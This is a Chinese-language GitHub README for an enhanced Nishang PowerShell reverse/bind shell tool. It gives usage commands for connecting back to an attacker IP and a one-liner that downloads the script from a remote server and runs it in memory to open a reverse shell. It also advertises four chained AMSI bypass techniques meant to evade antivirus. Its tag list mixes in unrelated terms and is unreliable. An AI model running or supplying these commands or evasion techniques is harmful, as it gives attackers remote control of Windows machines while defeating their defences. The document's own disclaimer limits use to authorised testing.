ProdigiumAcademy/Invoke-PowerShellTcpPlus
GitHub: ProdigiumAcademy/Invoke-PowerShellTcpPlus
基于 Nishang 改进的增强版 PowerShell 反弹/绑定 Shell,集成多阶段 AMSI 绕过并修复多项原生缺陷。
Stars: 1 | Forks: 0
# Invoke-PowerShellTcp++ – 增强版反向/绑定 PowerShell Shell,支持多阶段 AMSI 绕过
这是经典 **Nishang** 框架中 `Invoke-PowerShellTcp.ps1` 的强化、错误容错版本。
本脚本完全保持向后兼容,同时引入了多项易用性和防御性改进。
## 🚀 相比原版的关键改进
- ✅ **多阶段 AMSI 绕过** – 依次尝试四种不同的绕过技术,在现代 Windows 环境下可靠性更高。
- ✅ **真实的错误报告** – 所有错误(包括权限拒绝、语法错误、命令未找到等)都会原样返回给客户端,本地 PowerShell 控制台显示什么,客户端就收到什么。
- ✅ **UTF-8 编码** – 正确传输 Unicode 字符,保留重音符号、特殊符号和特殊字符。
- ✅ **优化的缓冲区** – 从 64 KB 减少到 8 KB,避免不必要的内存消耗,同时保持完整的命令执行能力。
- ✅ **修正的绑定 Shell 监听器** – 绑定 shell 现在能正常工作,因为原版存在类型转换错误。
- ✅ **提示符标准化** – 统一的 `PS <路径> > ` 格式,末尾带空格,避免重复提示。
- ✅ **详细输出** – 可选的 `-Verbose` 开关,用于调试连接和绕过尝试。
- ✅ **更好的资源清理** – 使用类似 `finally` 的逻辑确保即使出错也能关闭套接字。
## 🧬 原始致谢
本脚本是 [Nishang](https://github.com/samratashok/nishang) 框架中传奇脚本 `Invoke-PowerShellTcp.ps1` 的**直接进化版**,该框架由 Nikhil Mittal(又名 [@samratashok](https://github.com/samratashok))开发。
Nishang 本身受到 **Ben Turner** 和 **Dave Hardy** 编写的 **Powerfun** 的启发。
## 📦 用法
### 反向 Shell
最常见的用法:
```
expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444
```
### 绑定 Shell
监听器模式:
```
expl_win -Bind -Port 8888
```
### 带详细输出
```
expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444 -Verbose
```
## 💻 一行命令部署
要无需落盘部署脚本,将其托管在 Web 服务器上,然后运行:
```
powershell iex (New-Object Net.WebClient).DownloadString('http://yourserver/expl_win.ps1'); expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444
```
此技术与原始的 Nishang 部署方法相同。
## 🛡️ 多阶段 AMSI 绕过
本脚本按顺序执行四种独立的 AMSI 绕过技术。如果一种失败,自动尝试下一种:
1. **Base64 Unicode 补丁** – 使用反射将 `amsiInitFailed` 设为 `$true`。
2. **字符串拆分和环境变量** – 经典的 Nishang 风格混淆。
3. **`echo` 加字符串格式化** – 另一种混淆变体。
4. **循环遍历类型和字段** – 一种更安静的基于反射的技术,避免使用硬编码字符串。
如果所有四种都失败,会发出警告,但 shell 继续运行。AMSI 绕过是一种尽力而为的改进。
## 🔧 依赖项
- Windows PowerShell 5.1 或 PowerShell 7+。
- 跨平台支持为实验性。
- .NET Framework 4.5+。
- 无需外部工具。
- 纯 PowerShell。
- 单个文件。
## ⚖️ 法律与道德免责声明
本脚本仅供教育目的、授权的渗透测试和红队演练使用。
未经明确书面许可,对不属于您或无权测试的系统进行未授权使用是非法的,也是不道德的行为。
作者对任何滥用本工具的行为不承担任何责任。
## 📚 其他资源
- [Nishang – 官方仓库](https://github.com/samratashok/nishang)
- PowerShell Shells 周 – 第一天
- Powerfun – Ben Turner 和 Dave Hardy 的原始脚本
标签:AI合规, AMSI绕过, Conpot, IPv6, Libemu, Nishang, OpenCanary, PowerShell, UTF-8编码, Windows安全, 反向Shell, 命令控制, 威胁检测, 数据采集, 私有化部署, 绑定Shell, 缓冲区优化, 网络Shell, 脚本攻击, 资源清理, 错误报告, 防御规避